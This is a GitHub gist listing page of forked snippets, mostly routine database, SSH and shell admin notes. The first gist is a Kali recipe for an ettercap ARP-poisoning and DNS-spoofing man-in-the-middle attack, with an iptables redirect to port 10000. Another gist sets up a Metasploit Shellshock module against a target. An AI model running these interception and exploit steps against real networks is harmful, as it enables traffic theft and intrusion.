Skip to content

Instantly share code, notes, and snippets.

View YourFriendCaspian's full-sized avatar
🙃
I'm sure I'll be slow to respond so don't be mad.

yourfriendcaspian YourFriendCaspian

🙃
I'm sure I'll be slow to respond so don't be mad.
View GitHub Profile
@YourFriendCaspian
YourFriendCaspian / ettercap
Created July 11, 2017 06:33 — forked from boy3vil/ettercap
ettercap kali linux
locate etter.dns
service apache2 start
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-por 10000
ettercap -T -q -w dump -i wlan0 -M ARP // // output:
ettercap -T -q -i wlan0 -P dns_spoof -M arp // //
# setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
# good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole
#start msfconsole
use auxiliary/scanner/http/apache_mod_cgi_bash_env
set VHOST app.local
set TARGETURI "/all"
set RPORT 3000
@YourFriendCaspian
YourFriendCaspian / _msfconsole
Created July 11, 2017 06:44 — forked from zeroSteiner/_msfconsole
ZSH completions for Metasploit Utilities
#compdef msfconsole
# ------------------------------------------------------------------------------
# Copyright (c) 2014 Spencer McIntyre
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
@YourFriendCaspian
YourFriendCaspian / add_read_only_pg_user.rb
Last active September 2, 2017 03:27 — forked from blasterpal/add_read_only_pg_user.rb
Add read only user to PG 9 on DB, cookbook snippet.
# Create a user with Login
sql = [%(CREATE ROLE <username> WITH PASSWORD '<password>' LOGIN)]
# # Allow to connect
sql << %(GRANT CONNECT ON DATABASE reports TO <username>)
# # Allow to use schema
sql << %(GRANT USAGE ON SCHEMA public TO <username>)
# # grant on current objects
sql << %(GRANT SELECT ON ALL TABLES IN SCHEMA public TO <username>)
# # grant on future objects
sql << %(ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO <username>)
1. Convert PEM into pub SSH key file:
ssh-keygen -e -f amazon-ec2-key.pem >> amazon-ec2-key.pem.pub
2. Generate a PEM from a SSH key:
openssl rsa -in my_tunneler -outform pem > my_tunneler.pem
@YourFriendCaspian
YourFriendCaspian / mysql_grant.sql
Last active September 2, 2017 03:23 — forked from blasterpal/mysql_grant.sql
Create mysql user with specific permissions
CREATE USER '<username>'@'%' IDENTIFIED BY '<password>';
# ALL PRIVILEGES is everything except grant
GRANT ALL PRIVILEGES ON <database_name>.* TO '<username>'@'%';
GRANT SELECT ON <database_name>.* TO '<username>'@'%';
GRANT SELECT ON <database_name>.* TO '<username>'@'%';
@YourFriendCaspian
YourFriendCaspian / calc_mysql_db_size.txt
Created August 29, 2017 05:06 — forked from blasterpal/calc_mysql_db_size.txt
Calculate MySQL Database Size
SELECT table_schema "Data Base Name", SUM( data_length + index_length) / 1024 / 1024
"Data Base Size in MB" FROM information_schema.TABLES GROUP BY table_schema ;
@YourFriendCaspian
YourFriendCaspian / bash-ssh-tunnelling
Created September 2, 2017 03:10 — forked from jamiedust/bash-ssh-tunnelling
Useful Bash/Linux SSH tunnelling commands
## Start SSH agent
eval "$(ssh-agent -s)"
## Open SSH tunnel on port 3307
ssh -fN -L 3307:127.0.0.1:3306 sqlaccount@domain.com
@YourFriendCaspian
YourFriendCaspian / showips
Created September 2, 2017 04:07 — forked from wozoopa/showips
Get ip addresses for each interface in linux with bash function.
showips() {
NAMES=( $($IFC | grep "lo\|eth\|wlan" -A 1 | awk -F" " '{print $1 }' | grep -v "inet\|-\|UP" | sort -u) )
for i in "${NAMES[@]}"
do
echo "$i has ip address: `$IFC | grep "$i" -A 1 | grep "addr" | awk -F" " '{print $2}' | awk -F":" '{print $2}'`"
done
}
@YourFriendCaspian
YourFriendCaspian / sshfs.sh
Created September 2, 2017 04:08 — forked from ducin/sshfs.sh
simple script opening/closing sshfs connection with ./sshfs.sh -o or ./sshfs.sh -c
#!/bin/bash
if [ "$1" != "" ]; then
case $1 in
-o | --open ) echo "$USER opening sshfs connection"
open your connection here
;;
-c | --close ) echo "$USER closing sshfs connection"
close your connection here
;;